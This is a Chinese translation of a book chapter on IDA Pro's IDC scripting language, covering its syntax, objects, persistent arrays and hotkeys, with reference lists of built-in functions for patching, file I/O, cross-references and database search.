^([96]) 要获取每个新版本 IDA 引入的功能的完整列表,请访问 www.hex-rays.com/idapro/idanew48.htm

^([97]) 请参阅 code.google.com/p/idapython/

^([98]) 此选项仅在 Python 正确安装的情况下可用。有关详细信息,请参阅第三章。

IDC 语言

与 IDA 中其他一些方面不同,IDA 的帮助系统中为 IDC 语言提供了一定程度的帮助。帮助系统顶层可用的主题包括IDC 语言,它涵盖了 IDC 语法的基础知识,以及IDC 函数索引,它提供了 IDC 程序员可用的内置函数的详尽列表。

IDC 是一种脚本语言,它从 C 语言中借用了大部分的语法元素。从 IDA 5.6 开始,随着面向对象功能和异常处理的引入,IDC 实际上更多地具有了 C++的风格。由于其与 C 和 C++的相似性,我们将用这些语言来描述 IDC,并主要关注 IDC 与这些语言的不同之处。

IDC 变量

IDC 是一种弱类型语言,这意味着变量没有显式的类型。IDC 中使用的三个主要数据类型是整数(IDA 文档使用类型名long)、字符串和浮点值,绝大多数操作都是在整数和字符串上进行的。在 IDC 中,字符串被视为原生数据类型,无需跟踪存储字符串所需的空间或字符串是否以空字符终止。从 IDA 5.6 开始,IDC 包含了一些额外的变量类型,包括对象、引用和函数指针。

所有变量在使用之前都必须声明。IDC 支持局部变量,并且从 IDA 5.4 开始也支持全局变量。IDC 关键字auto用于引入局部变量声明,局部变量声明可以包括初始值。以下示例显示了合法的 IDC 局部变量声明:

auto addr, reg, val;   // legal, multiple variables declared with no initializers
auto count = 0;        // declaration with initialization

IDC 识别使用/* */的 C 风格多行注释和使用//的 C++风格行终止注释。此外,请注意,可以在单个语句中声明多个变量,并且 IDC 中的所有语句都使用分号(如 C 语言中一样)终止。IDC 不支持 C 风格数组(切片是在 IDA 5.6 中引入的),指针(尽管从 IDA 5.6 开始支持引用),或复杂数据类型,如结构和联合。类是在 IDA 5.6 中引入的。

使用extern关键字引入全局变量声明,并且它们的声明在函数定义内外都是合法的。在声明全局变量时提供初始值是不合法的。以下列表显示了两个全局变量的声明。

extern outsideGlobal;

static main() {
   extern insideGlobal;
   outsideGlobal = "Global";
   insideGlobal = 1;
}

全局变量在 IDA 会话期间首次遇到时分配,并且只要该会话保持活跃,就会持续存在,无论你打开和关闭了多少数据库。

IDC 表达式

除了少数例外,IDC 支持几乎所有在 C 中可用的算术和逻辑运算符,包括三元运算符 (? :)。不支持形式为 op= 的复合赋值运算符(例如 +=, *=, >>= 等)。逗号运算符从 IDA 5.6 开始支持。所有整数操作数都被视为有符号值。这影响了整数比较(总是有符号的)和右移运算符 (>>),它总是执行带符号位复制的算术右移。如果你需要逻辑右移,你必须自己实现,如以下示例所示:

result = (x >> 1) & 0x7fffffff;  //set most significant bit to zero

由于字符串在 IDC 中是原生类型,因此字符串上的某些操作在 IDC 中的含义与在 C 中可能不同。将字符串操作数赋值给字符串变量会导致字符串复制操作;因此不需要字符串复制或复制函数,如 C 的 strcpystrdup。此外,两个字符串操作数的相加会导致两个操作数的连接;因此“Hello” + “World” 得到 “HelloWorld”;不需要连接函数,如 C 的 strcat。从 IDA 5.6 开始,IDC 为字符串提供了切片运算符。Python 程序员将熟悉切片,它基本上允许你指定类似数组的变量的子序列。切片使用方括号和起始(包含)和结束(不包含)索引来指定。至少需要一个索引。以下列表展示了 IDC 切片的使用。

auto str = "String to slice";
auto s1, s2, s3, s4;
s1 = str[7:9];     // "to"
s2 = str[:6];      // "String", omitting start index starts at 0
s3 = str[10:];     // "slice", omitting end index goes to end of string
s4 = str[5];       // "g", single element slice, similar to array element access

注意,尽管 IDC 中没有数组数据类型,但切片运算符实际上允许你将 IDC 字符串视为数组来处理。

IDC 语句

与 C 一样,所有简单语句都以分号结束。IDC 不支持的唯一 C 风格的复合语句是 switch 语句。在使用 for 循环时,请注意,IDC 不支持复合赋值运算符,这可能影响你使用非一作为计数单位的愿望,如下所示:

auto i;
for (i = 0; i < 10; i += 2) {}     // illegal, += is not supported
for (i = 0; i < 10; i = i + 2) {}  // legal

在 IDA 5.6 中,IDC 引入了 try/catch 块以及相关的 throw 语句,这些在语法上与 C++ 异常类似.^([99]) IDA 的内置帮助文档包含了关于 IDC 异常处理实现的详细信息。

对于复合语句,IDC 使用与 C 相同的花括号 ({}) 语法和语义。在一个花括号块内,只要变量声明是该块内的第一条语句,就可以声明新的变量。然而,IDC 并不严格限制新引入变量的作用域,因为这些变量可能在其声明块之外被引用。考虑以下示例:

if (1) {    //always true
   auto x;
   x = 10;
}
else {      //never executes
   auto y;
   y = 3;
}
Message("x = %d\n", x);   // x remains accessible after its block terminates
Message("y = %d\n", y);   // IDC allows this even though the else did not execute

输出语句(Message 函数类似于 C 语言的 printf 函数)会告诉我们 x = 10y = 0。鉴于 IDC 不严格强制执行 x 的作用域,我们被允许打印 x 的值并不令人特别惊讶。但有一点令人有些惊讶的是,y 竟然可以访问,考虑到声明 y 的代码块从未被执行。这仅仅是 IDC 的一个特性。请注意,尽管 IDC 可能会松散地强制函数内的变量作用域,但一个函数内声明的变量在其他任何函数中仍然无法访问。

IDC 函数

IDC 仅支持在独立程序(.idc 文件)中定义用户自定义函数。当使用 IDC 命令对话框时(参见使用 IDC 命令对话框),不支持用户自定义函数。使用 IDC 命令对话框)。IDC 声明用户自定义函数的语法与 C 语言最不同。使用 static 关键字引入用户自定义函数,函数的参数列表仅由逗号分隔的参数名列表组成。以下列表详细说明了用户自定义函数的基本结构:

static my_func(x, y, z) {
   //declare any local variables first
   auto a, b, c;
   //add statements to define the function's behavior
   // ...
}

在 IDA 5.6 之前,所有函数参数都是严格按值传递的。在 IDA 5.6 中引入了按引用传递参数。有趣的是,参数是按值传递还是按引用传递,取决于函数的调用方式,而不是函数的声明方式。在函数调用中(不是函数声明)使用一元 & 操作符来表示参数是按引用传递的。以下示例展示了从上一个列表中调用 my_func 函数,使用了按值传递和按引用传递参数。

auto q = 0, r = 1, s = 2;
my_func(q, r, s);   //all three arguments passed using call-by-value
                    //upon return, q, r, and s hold 0, 1, and 2 respectively
my_func(q, &r, s);  //q and s passed call-by-value, r is passed call-by-reference
                    //upon return, q, and s hold 0 and 2 respectively, but r may have
                    //changed. In this second case, any changes
 that my_func makes to its
                    //formal parameter y will be reflected in the
 caller as changes to r

函数声明永远不会指示函数是否显式返回值,或者当函数产生结果时返回什么类型的值。

使用 IDC 命令对话框

IDC 命令对话框提供了一个简单的界面,用于输入短序列的 IDC 代码。命令对话框是一个快速输入和测试新脚本的好工具,无需创建独立的脚本文件。在使用命令对话框时,最重要的是要记住,必须不要在对话框内定义任何函数。本质上,IDA 将你的语句包裹在一个函数中,然后调用该函数以执行你的语句。如果你在对话框内定义了一个函数,最终效果将是一个函数内定义的函数,由于 IDC(或实际上 C 语言)不允许嵌套函数声明,这将导致语法错误。

当你希望从函数中返回一个值时,使用return语句来返回所需的值。在函数的不同执行路径中返回完全不同的数据类型是允许的。换句话说,一个函数在某些情况下可能返回一个字符串,而在其他情况下,同一个函数可能返回一个整数。与 C 语言一样,在函数中使用return语句是可选的。然而,与 C 语言不同,任何没有显式返回值的函数隐式返回的值是零。

最后一点,从 IDA 5.6 版本开始,函数在 IDC 中更接近成为一等对象。现在可以将函数引用作为参数传递给其他函数,并将函数引用作为函数的结果返回。以下列表展示了函数参数和函数作为返回值的使用。

static getFunc() {
   return Message;  //return the built-in Message function as a result
}

static useFunc(func, arg) {  //func here is expected to be a function reference
   func(arg);
}

static main() {
   auto f = getFunc();
   f("Hello World\n");       //invoke the returned function f
   useFunc(f, "Print me\n"); //no need for & operator,
 functions always call-by-reference
}

IDC 对象

IDA 5.6 版本引入的另一个功能是定义类的能力,从而拥有表示对象变量的变量。在接下来的讨论中,我们假设你对面向对象编程语言(如 C++或 Java)有一定的了解。

IDA 脚本演变

如果你没有意识到 IDC 在 IDA 5.6 版本中引入了大量的更改,那么你可能没有注意到。在 IDA 5.4 版本中集成 IDAPython 之后,Hex-Rays 寻求复兴 IDC,导致本章中提到的许多功能在 IDA 5.6 版本中引入。在这个过程中,甚至考虑将 JavaScript 作为 IDA 脚本系列中可能的补充。(100)

IDC 定义了一个名为object的根类,所有类最终都从这个类派生出来,创建新类时支持单继承。IDC 不使用publicprivate等访问修饰符;所有类成员都是公开的。类声明只包含类的成员函数的定义。为了在类中创建数据成员,你只需创建一个将值赋给数据成员的赋值语句。以下列表将有助于阐明。

class ExampleClass {
   ExampleClass(x, y) {   //constructor
      this.a = x;         //all ExampleClass objects have data member a
      this.b = y;         //all ExampleClass objects have data member b
   }
   ~ExampleClass() {      //destructor
   }
   foo(x) {
      this.a = this.a + x;
   }
   //...   other member functions as desired
};

static main() {
   ExampleClass ex;            //DON'T DO THIS!! This is not
 a valid variable declaration
   auto ex = ExampleClass(1, 2);   //reference variables are initialized by assigning
                                   //the result of calling the class constructor
   ex.foo(10);                 //dot notation is used to access members
   ex.z = "string";            //object ex now has a member z, BUT the class does not
}

关于 IDC 类及其语法的更多信息,请参阅 IDA 内置帮助文件中的相应部分。

IDC 程序

对于需要超过几个 IDC 语句的任何脚本应用程序,你可能会想创建一个独立的 IDC 程序文件。除了其他事情之外,将你的脚本保存为程序为你提供了一定程度的持久性和可移植性。

IDC 程序文件要求你使用用户定义的函数。至少,你必须定义一个名为main的函数,该函数不接受任何参数。在大多数情况下,你还会想包含文件*idc.idc*,以便获取其中包含的有用宏定义。以下列表详细说明了最小 IDC 程序文件的组件:

#include <idc.idc>    // useful include directive
//declare additional functions as required
static main() {
   //do something fun here
}

IDC 识别以下 C 风格预处理器指令:

#include <file>

在当前文件中包含指定的文件。

#define <名称> [可选值]

创建一个名为 名称 的宏,并可选择将其指定值分配给它。IDC 预定义了多个宏,可用于测试脚本执行环境的各个方面。这些包括 NT, LINUX, MAC, GUI, 和 _TXT_* 等等。有关这些和其他符号的更多信息,请参阅 IDA 帮助文件的预定义符号部分。

#ifdef <名称>

检查是否存在名为的宏,如果存在,则可选地处理任何后续语句。

#else

可与#ifdef一起使用,在名为的宏不存在时提供一组备选语句进行处理。

#endif

这是#ifdef#ifdef/#else块的必需终止符。

#undef <名称>

删除指定的宏。

IDC 中的错误处理

没有人会赞扬 IDC 的错误报告能力。在运行 IDC 脚本时,你可以期望遇到两种类型的错误:解析错误和运行时错误。

解析错误是那些阻止你的程序执行的错误,包括语法错误、对未定义变量的引用以及向函数提供错误数量的参数。在解析阶段,IDC 只报告它遇到的第一个解析错误。在某些情况下,错误消息正确地标识了错误的位置和类型(hello_world.idc,20: 缺少分号),而在其他情况下,错误消息没有提供真正的帮助(语法错误附近:<END>)。只报告解析过程中遇到的第一个错误。因此,在一个有 15 个语法错误的脚本中,可能需要运行 15 次脚本才能通知你每个错误。

运行时错误通常比解析错误遇到的频率低。当遇到时,运行时错误会导致脚本立即终止。一个运行时错误的例子是尝试调用一个未定义的函数,这个函数在脚本最初解析时由于某种原因没有被检测到。另一个问题是脚本执行时间过长。一旦脚本开始执行,如果它意外地陷入无限循环或执行时间超过你愿意等待的时间,就没有简单的方法来终止脚本。一旦脚本执行超过两到三秒,IDA 会显示图 15-4 中所示的对话框。

此对话框是终止无法正确终止的脚本的唯一方式。

脚本取消对话框

图 15-4. 脚本取消对话框

调试是 IDC 的另一个弱点。除了大量使用输出语句外,没有其他方法可以调试 IDC 脚本。随着 IDA 5.6 中异常处理(try/catch)的引入,现在可以构建更健壮的脚本,可以优雅地终止或继续,就像你选择的那样。

IDC 中的持久数据存储

也许你是那种好奇的类型,不相信我们会提供足够的 IDA 脚本功能覆盖,所以匆匆忙忙地去查看 IDA 帮助系统对这个主题有什么说法。如果是这样,欢迎回来,如果不是,我们感谢你一直坚持到现在。无论如何,在某个地方,你可能获得了关于 IDC 实际支持数组的知识,在这种情况下,你肯定在质疑这本书的质量。我们敦促你给我们一个机会来澄清这种潜在的混淆。

如前所述,IDC 不支持传统意义上的数组,即声明一个大块存储空间,然后使用下标符号来访问该块中的单个项目。然而,IDA 的脚本文档中提到了一种称为 全局持久数组 的东西。IDC 的全局数组最好被视为 持久命名对象。这些对象恰好是稀疏数组。^([101)] 全局数组存储在 IDA 数据库中,并且跨脚本调用和 IDA 会话持久存在。数据通过指定索引和要存储在数组指定索引处的数据值来存储在全局数组中。数组中的每个元素可以同时存储一个整数值和一个字符串值。IDC 的全局数组不提供存储浮点值的方法。

注意

对于过于好奇的人来说,IDA 存储持久数组的内部机制被称为 netnode。虽然接下来描述的数组操作函数提供了一个对 netnode 的抽象接口,但可以使用 IDA SDK 以较低级别访问 netnode 数据,SDK 与 netnode 一起在 第十六章 中讨论。

所有与全局数组的交互都通过使用 IDC 专门用于数组操作的函数来完成。以下是对这些函数的描述:

long CreateArray(string name)

此函数创建一个具有指定名称的持久对象。返回值是用于所有未来数组访问所需的整数句柄。如果指定的对象已经存在,则返回值是 −1。

long GetArrayId(string name)

一旦创建了一个数组,后续对数组的访问必须通过一个整数句柄来完成,这个句柄可以通过查找数组名称来获得。该函数的返回值是一个整数句柄,用于所有未来的数组交互。如果指定的数组不存在,则返回值是 −1。

long SetArrayLong(long id, long idx, long value)

将整数 value 存储到由 id 引用的数组中,位置由 idx 指定。成功时返回 1,失败时返回 0。如果数组 id 无效,则操作将失败。

long SetArrayString(long id, long idx, string str)

将字符串 value 存储到由 id 引用的数组中,位置由 idx 指定。成功时返回 1,失败时返回 0。如果数组 id 无效,则操作将失败。

string or long GetArrayElement(long tag, long id, long idx)

虽然根据要存储的数据类型有专门用于将数据存储到数组中的函数,但只有一个函数用于从数组中检索数据。此函数从指定的数组(id)中指定的索引(idx)检索整数或字符串值。检索整数或字符串由 tag 参数的值决定,该值必须是常量 AR_LONG(用于检索整数)或 AR_STR(用于检索字符串)之一。

long DelArrayElement(long tag, long id, long idx)

从指定的数组中删除指定位置的数组内容。tag 的值决定是否删除与指定索引关联的整数值或字符串值。

void DeleteArray(long id)

删除由 id 引用的数组及其所有相关内容。一旦创建了一个数组,它将继续存在,即使在脚本终止后,直到调用 DeleteArray 从创建它的数据库中删除数组。

long RenameArray(long id, string newname)

将由 id 引用的数组重命名为 newname。如果操作成功则返回 1,如果操作失败则返回 0。

全局数组的可能用途包括近似全局变量、近似复杂数据类型以及在脚本调用之间提供持久存储。脚本的全局变量通过在脚本开始时创建全局数组并在数组中存储全局值来模拟。这些全局值通过将数组句柄传递给需要访问这些值的函数或要求任何需要访问的函数执行所需数组的名称查找来共享。

存储在 IDC 全局数组中的值在脚本执行的生命周期内持续存在。您可以通过检查 CreateArray 函数的返回值来测试数组的存在。如果数组中存储的值仅适用于脚本的一次特定调用,则应在脚本终止之前删除该数组。删除数组确保没有全局值从一个脚本的执行延续到同一脚本的后续执行。


^([99]) 查看 www.cplusplus.com/doc/tutorial/exceptions/.

^([100]) 查看 www.hexblog.com/?p=101

^([101]) 稀疏数组不一定为整个数组预分配空间,也不受特定最大索引的限制。相反,当向数组添加元素时,将根据需要为数组元素分配空间。

将 IDC 脚本与热键关联

有时您可能会开发出如此出色的脚本,以至于您必须通过几个按键来访问它。当这种情况发生时,您将希望分配一个热键序列,以便您可以快速激活您的脚本。幸运的是,IDA 提供了一种简单的方法来实现这一点。每次启动 IDA 时,都会执行包含在 /idc/ida.idc 中的脚本。此脚本的默认版本包含一个空的 main 函数,因此不会执行任何操作。要将热键与您的脚本之一关联,您需要向 ida.idc 中添加两行。您必须添加的第一行是 include 指令,用于将您的脚本文件包含在 ida.idc 中。您必须添加的第二行是在 main 中调用 AddHotkey 函数,以将特定的热键与您惊人的 IDC 函数关联。这可能会使 ida.idc 看起来像这样:

#include <idc.idc>
#include <my_amazing_script.idc>
static main() {
   AddHotkey("z", "MyAmazingFunc");  //Now 'z' invokes MyAmazingFunc
}

如果您尝试关联到脚本的热键已经被分配给了另一个 IDA 动作(菜单热键或插件激活序列),则 AddHotkey 将静默失败,除了您在激活热键序列时函数无法执行的事实外,没有其他方式可以检测到失败。

这里有两个重要的点:IDC 脚本的标准包含目录是 /idc,并且您不得将您的脚本函数命名为 main。如果您希望 IDA 能够轻松找到您的脚本,您可以将它复制到 /idc 中。如果您打算将您的脚本文件留在另一个位置,那么您需要在 include 语句中指定脚本的全路径。在测试您的脚本时,将脚本作为具有 main 函数的独立程序运行将非常有用。然而,一旦您准备好将脚本与热键关联,您就不能使用 main 名称,因为它将与 ida.idc 中的 main 函数冲突。您必须重命名您的 main 函数,并在调用 AddHotkey 时使用新名称。

有用的 IDC 函数

到目前为止,你已经拥有了编写良好格式 IDC 脚本所需的所有信息。你所缺乏的是与 IDA 本身进行任何有用交互的能力。IDC 提供了一系列内置函数,提供了许多访问数据库的不同方式。所有这些函数都在 IDA 帮助系统中的“IDC 函数索引”主题下进行了某种程度的文档说明。在大多数情况下,文档只是从主 IDC 包含文件idc.idc中复制的相关行。熟悉这种相当简略的文档是学习 IDC 时更加令人沮丧的方面之一。一般来说,没有简单的方法来回答“如何在 IDC 中做x?”这个问题。最常见的方法是浏览 IDC 函数列表,寻找一个根据其名称似乎能完成你所需要的功能。当然,这假设函数的命名是根据其目的来命名的,但它们的目的可能并不总是显而易见。例如,在许多情况下,从数据库检索信息的函数被命名为GetXXX;然而,在许多其他情况下,并不使用Get前缀。更改数据库的函数可能被命名为SetXXXMakeXXX或完全不同的名称。总之,如果你想使用 IDC,就要习惯浏览函数列表并阅读它们的描述。如果你发现自己完全不知所措,不要害怕使用 Hex-Rays 的支持论坛。^([[102])]

本节剩余部分的目的在于指出一些更有用(根据我们的经验)的 IDC 函数,并将它们分组到功能区域。即使你只打算用 Python 编写脚本,熟悉列出的函数也将对你有所帮助,因为 IDAPython 为这里列出的每个函数都提供了 Python 等效函数。然而,我们并不试图涵盖每个 IDC 函数,因为它们已经在 IDA 帮助系统中有所介绍。

读取和修改数据的函数

以下函数提供对数据库中单个字节、字和双字的访问:

long Byte(long addr)

从虚拟地址addr读取一个字节值。

long Word(long addr)

从虚拟地址addr读取一个字(2 字节)值。

long Dword(long addr)

从虚拟地址addr读取一个双字(4 字节)值。

void PatchByte(long addr, long val)

在虚拟地址addr设置一个字节值。

void PatchWord(long addr, long val)

在虚拟地址addr设置一个字值。

void PatchDword(long addr, long val)

在虚拟地址addr设置一个双字值。

bool isLoaded(long addr)

如果addr包含有效数据,则返回 1,否则返回 0。

这些函数在读取和写入数据库时都会考虑到当前处理器模块的字节序(小端或大端)。PatchXXX 函数还会通过仅使用调用函数的正确数量的低阶字节来修剪提供的值到适当的大小。例如,对 PatchByte(0x401010, 0x1234) 的调用将使用 0x340x1234 的低阶字节)修补位置 0x401010。如果在用 ByteWordDword 读取数据库时提供了无效地址,将分别返回 0xFF0xFFFF0xFFFFFFFF 的值。由于无法区分这些错误值和数据库中存储的合法数据,您可能希望在尝试从该地址读取之前调用 isLoaded 来确定数据库中的地址是否包含任何数据。

由于 IDA 反汇编视图刷新的一个怪癖,您可能会发现修补操作的结果不会立即可见。在这种情况下,从修补位置滚动离开,然后滚动回修补位置通常可以强制正确更新显示。

用户交互函数

为了执行任何用户交互,您需要熟悉 IDC 输入/输出函数。以下列表总结了 IDC 一些更有用的接口函数:

void Message(string format, ...)

将格式化的消息打印到输出窗口。此函数类似于 C 的 printf 函数,并接受 printf 风格的格式字符串。

void print(...)

将每个参数的字符串表示打印到输出窗口。

void Warning(string format, ...)

在对话框中显示格式化的消息。

string AskStr(string default, string prompt)

显示一个输入对话框,提示用户输入字符串值。返回用户的字符串或 0(如果对话框被取消)。

string AskFile(long doSave, string mask, string prompt)

显示文件选择对话框以简化选择文件的任务。可以创建新文件以保存数据(doSave = 1),或选择现有文件以读取数据(doSave = 0)。显示的文件列表可以根据 mask(例如 *.**.idc)进行筛选。返回所选文件的名称或 0(如果对话框被取消)。

long AskYN(long default, string prompt)

提出一个是或否的问题,突出显示默认答案(1 = 是,0 = 否,-1 = 取消)。返回表示所选答案的整数。

long ScreenEA()

返回当前光标位置的虚拟地址。

bool Jump(long addr)

将反汇编窗口跳转到指定的地址。

由于 IDC 缺少任何调试功能,您可能会发现自己将Message函数作为主要的调试工具。存在几个其他AskXXX函数,用于处理更专业的输入情况,例如整数输入。请参阅帮助系统文档以获取可用AskXXX函数的完整列表。ScreenEA函数在您希望创建基于光标位置的脚本时非常有用。同样,Jump函数在您需要脚本调用用户的注意力到反汇编中的特定位置时非常有用。

字符串操作函数

虽然 IDC 中使用基本运算符可以处理简单的字符串赋值和连接,但更复杂的操作必须使用可用的字符串处理函数来完成,其中一些在此处详细介绍:

string form(string format, ...) // pre IDA 5.6

返回一个根据提供的格式字符串和值格式化的新字符串。这大致等同于 C 语言的sprintf函数。

string sprintf(string format, ...) // IDA 5.6+

在 IDA 5.6 中,sprintf替换了form(见上文)。

long atol(string val)

将十进制值val转换为相应的整数表示。

long xtol(string val)

将十六进制值val(可能以0x开头)转换为相应的整数表示。

string ltoa(long val, long radix)

返回val在指定radix(2、8、10 或 16)中的字符串表示。

long ord(string ch)

返回单字符字符串ch的 ASCII 值。

long strlen(string str)

返回提供的字符串的长度。

long strstr(string str, string substr)

返回substrstr中的索引,如果子字符串未找到,则返回-1。

string substr(string str, long start, long end)

返回包含从startend-1字符的子字符串。使用切片(IDA 5.6+),此函数等同于str[start:end]

请记住,IDC 中没有字符数据类型,也没有数组语法。由于缺少切片,如果您想遍历字符串中的单个字符,您必须对字符串中的每个字符取连续的一个字符子字符串。

文件输入/输出函数

输出窗口可能并非总是发送脚本输出(尤其是生成大量文本或二进制数据的脚本)的理想位置。对于希望将输出保存到磁盘文件的脚本,您可能希望将其输出到磁盘文件。我们已经讨论了使用AskFile函数请求用户输入文件名。然而,AskFile仅返回包含文件名的字符串。IDC 的文件处理函数在此处详细介绍:

long fopen(string filename, string mode)

返回一个整数文件句柄(或错误时返回 0),用于与所有 IDC 文件 I/O 函数一起使用。mode 参数类似于 C 的 fopen 中使用的模式(例如,r 用于读取,w 用于写入等)。

void fclose(long handle)

关闭由 fopen 指定的文件。

long filelength(long handle)

返回指定文件的长度或错误时返回 -1。

long fgetc(long handle)

从给定文件中读取一个字节。错误时返回 -1。

long fputc(long val, long handle)

将一个字节写入给定文件。成功时返回 0 或错误时返回 -1。

long fprintf(long handle, string format, ...)

将格式化的字符串写入给定文件。

long writestr(long handle, string str)

将指定的字符串写入给定文件。

string/long readstr(long handle)

从给定文件中读取一个字符串。此函数读取所有字符(包括非 ASCII 字符)直到并包括下一个换行符(ASCII 0xA)字符。成功时返回字符串或错误时返回 -1。

long writelong(long handle, long val, long bigendian)

使用大端(bigendian = 1)或小端(bigendian = 0)字节顺序将一个 4 字节整数写入给定文件。

long readlong(long handle, long bigendian)

使用大端(bigendian = 1)或小端(bigendian = 0)字节顺序从给定文件中读取一个 4 字节整数。

long writeshort(long handle, long val, long bigendian)

使用大端(bigendian = 1)或小端(bigendian = 0)字节顺序将一个 2 字节整数写入给定文件。

long readshort(long handle, long bigendian)

使用大端(bigendian = 1)或小端(bigendian = 0)字节顺序从给定文件中读取一个 2 字节整数。

bool loadfile(long handle, long pos, long addr, long length)

从给定文件的位置 pos 读取 length 个字节并将这些字节写入从地址 addr 开始的数据库。

bool savefile(long handle, long pos, long addr, long length)

将从数据库地址 addr 开始的 length 个字节写入给定文件的位置 pos

操作数据库名称

在脚本中,经常需要操作命名位置。以下 IDC 函数可用于在 IDA 数据库中处理命名位置:

string Name(long addr)

返回与给定地址关联的名称或如果位置没有名称则返回空字符串。此函数在名称标记为本地时不会返回用户指定的名称。

string NameEx(long from, long addr)

返回与 addr 关联的名称。如果 from 是包含 addr 的函数中的任何地址,则返回用户定义的本地名称。

bool MakeNameEx(long addr, string name, long flags)

将给定的名称分配给给定的地址。名称通过在flags位掩码中指定的属性创建。这些标志在MakeNameEx的帮助文件文档中描述,用于指定名称是否为本地或公共,或者是否应在名称窗口中列出。

long LocByName(string name)

返回具有给定名称的位置地址。如果数据库中不存在此类名称,则返回 BADADDR(-1)。

long LocByNameEx(long funcaddr, string localname)

在包含funcaddr的函数内搜索给定的本地名称。如果给定函数中不存在此类名称,则返回 BADADDR(-1)。

处理函数的函数

许多脚本被设计用于在数据库中执行函数分析。IDA 为反汇编函数分配了多个属性,例如函数局部变量区域的大小或函数在运行时栈上的参数大小。以下 IDC 函数可用于访问数据库中函数的信息。

long GetFunctionAttr(long addr, long attrib)

返回包含给定地址的函数的请求属性。有关属性常量的列表,请参阅 IDC 帮助文档。例如,要查找函数的结束地址,请使用GetFunctionAttr(addr, FUNCATTR_END);

string GetFunctionName(long addr)

返回包含给定地址的函数的名称,或者如果给定地址不属于函数,则返回空字符串。

long NextFunction(long addr)

返回给定地址之后下一个函数的起始地址。如果数据库中没有更多函数,则返回-1。

long PrevFunction(long addr)

返回给定地址之前最近函数的起始地址。如果给定地址之前没有函数,则返回-1。

使用LocByName函数根据函数的名称查找函数的起始地址。

代码交叉引用函数

交叉引用在第九章中进行了介绍。IDC 提供了访问与任何指令相关的交叉引用信息的函数。决定哪些函数满足你的脚本需求可能会有些困惑。这需要你理解你是否对跟踪给定地址离开的流程感兴趣,或者你是否对迭代所有引用给定地址的位置感兴趣。描述了执行上述两种操作的函数。其中一些函数旨在支持对一组交叉引用的迭代。这些函数支持交叉引用序列的概念,并需要一个当前交叉引用来返回一个下一个交叉引用。在枚举交叉引用中提供了使用交叉引用迭代器的示例。

long Rfirst(long from)

返回给定地址传递控制权的第一个位置。如果给定地址不引用其他地址,则返回 BADADDR(-1)。

long Rnext(long from, long current)

current已经被前一个调用RfirstRnext返回的情况下,返回给定地址(from)传递控制权的下一个位置。如果没有更多交叉引用存在,则返回 BADADDR。

long XrefType()

返回一个常量,指示由交叉引用查找函数(如Rfirst)返回的最后一个交叉引用的类型。对于代码交叉引用,这些常量是fl_CN(近调用)、fl_CF(远调用)、fl_JN(近跳转)、fl_JF(远跳转)和fl_F(普通顺序流程)。

long RfirstB(long to)

返回将控制权传递给给定地址的第一个位置。如果没有引用给定地址,则返回 BADADDR(-1)。

long RnextB(long to, long current)

current已经被前一个调用RfirstBRnextB返回的情况下,返回将控制权传递给给定地址的下一个位置。如果没有更多指向给定位置的交叉引用,则返回 BADADDR。

每次调用交叉引用函数时,都会设置一个内部 IDC 状态变量,指示返回的最后一个交叉引用的类型。如果你需要知道你收到了哪种类型的交叉引用,那么你必须在使用另一个交叉引用查找函数之前调用XrefType

数据交叉引用函数

访问数据交叉引用信息的函数与用于访问代码交叉引用信息的函数非常相似。这些函数在此进行描述:

long Dfirst(long from)

返回给定地址引用数据值的第一个位置。如果给定地址不引用其他地址,则返回 BADADDR(-1)。

long Dnext(long from, long current)

返回指向给定地址(from)的数据值的下一个位置,前提是current已经被前一个对DfirstDnext的调用返回。如果没有更多交叉引用存在,则返回 BADADDR。

long XrefType()

返回一个常数,指示由Dfirst等交叉引用查找函数返回的最后一个交叉引用的类型。对于数据交叉引用,这些常数包括dr_O(取偏移量)、dr_W(数据写入)和dr_R(数据读取)。

long DfirstB(long to)

返回指向给定地址的数据的第一个位置。如果没有指向给定地址的引用,则返回 BADADDR(-1)。

long DnextB(long to, long current)

返回指向给定地址(to)的数据的下一个位置,前提是current已经被前一个对DfirstBDnextB的调用返回。如果没有更多指向给定位置的交叉引用,则返回 BADADDR。

与代码交叉引用一样,如果您需要知道您收到了哪种类型的交叉引用,那么在调用另一个交叉引用查找函数之前,您必须调用XrefType

数据库操作函数

存在许多用于格式化数据库内容的函数。以下是这些函数的一些描述:

void MakeUnkn(long addr, long flags)

在指定地址取消定义项目。标志(参见MakeUnkn的 IDC 文档)决定了后续项目是否也会被取消定义,以及与取消定义的项目关联的任何名称是否会被删除。相关函数MakeUnknown允许您取消定义大量数据块。

long MakeCode(long addr)

将指定地址的字节转换为指令。如果操作失败,则返回指令的长度或 0。

bool MakeByte(long addr)

将指定地址的项目转换为数据字节。MakeWordMakeDword也是可用的。

bool MakeComm(long addr, string comment)

在给定地址添加常规注释。

bool MakeFunction(long begin, long end)

将从beginend的指令范围转换为函数。如果将end指定为BADADDR (-1),IDA 将尝试通过定位函数的返回指令来自动识别函数的结束。

bool MakeStr(long begin, long end)

创建一个字符串,该字符串是当前字符串类型(由GetStringType返回),跨越从beginend - 1的字节。如果将end指定为BADADDR,IDA 将尝试通过自动识别字符串的结束。

存在许多其他MakeXXX函数,它们提供与上述函数类似的行为。请参阅 IDC 文档以获取这些函数的完整列表。

数据库搜索函数

IDA 的大多数搜索功能都以各种FindXXX函数的形式在 IDC 中提供,其中一些在此处进行了描述。FindXXX函数中使用的flags参数是一个位掩码,用于指定查找操作的行为。其中三个更有用的标志是SEARCH_DOWN,它使搜索扫描向更高地址;SEARCH_NEXT,它跳过当前出现以搜索下一个出现;以及SEARCH_CASE,它使二进制和文本搜索以区分大小写的方式进行。

long FindCode(long addr, long flags)

从给定地址搜索指令。

long FindData(long addr, long flags)

从给定地址搜索数据项。

long FindBinary(long addr, long flags, string binary)

从给定地址搜索一系列字节。binary字符串指定一系列十六进制字节值。如果没有指定SEARCH_CASE,并且字节值指定大写或小写 ASCII 字母,则搜索也将匹配相应的互补大小写值。例如,“41 42”将匹配“61 62”(以及“61 42”),除非设置了SEARCH_CASE标志。

long FindText(long addr, long flags, long row, long column, string text)

从给定地址的给定行(row)的给定列(column)开始搜索text字符串。请注意,给定地址的汇编文本可能跨越多行,因此需要指定搜索应从哪一行开始。

还要注意,SEARCH_NEXT不定义搜索方向,这可能向上或向下,具体取决于SEARCH_DOWN标志。此外,当未指定SEARCH_NEXT时,如果addr处的项目满足搜索条件,FindXXX函数返回与作为addr参数传入的相同地址是完全合理的。

汇编行组件

有时从汇编列表中的单个行提取文本或文本的部分是有用的。以下函数提供了访问汇编行各种组件的权限:

string GetDisasm(long addr)

返回给定地址的汇编文本。返回的文本包括任何注释,但不包括地址信息。

string GetMnem(long addr)

返回给定地址上指令的助记符部分。

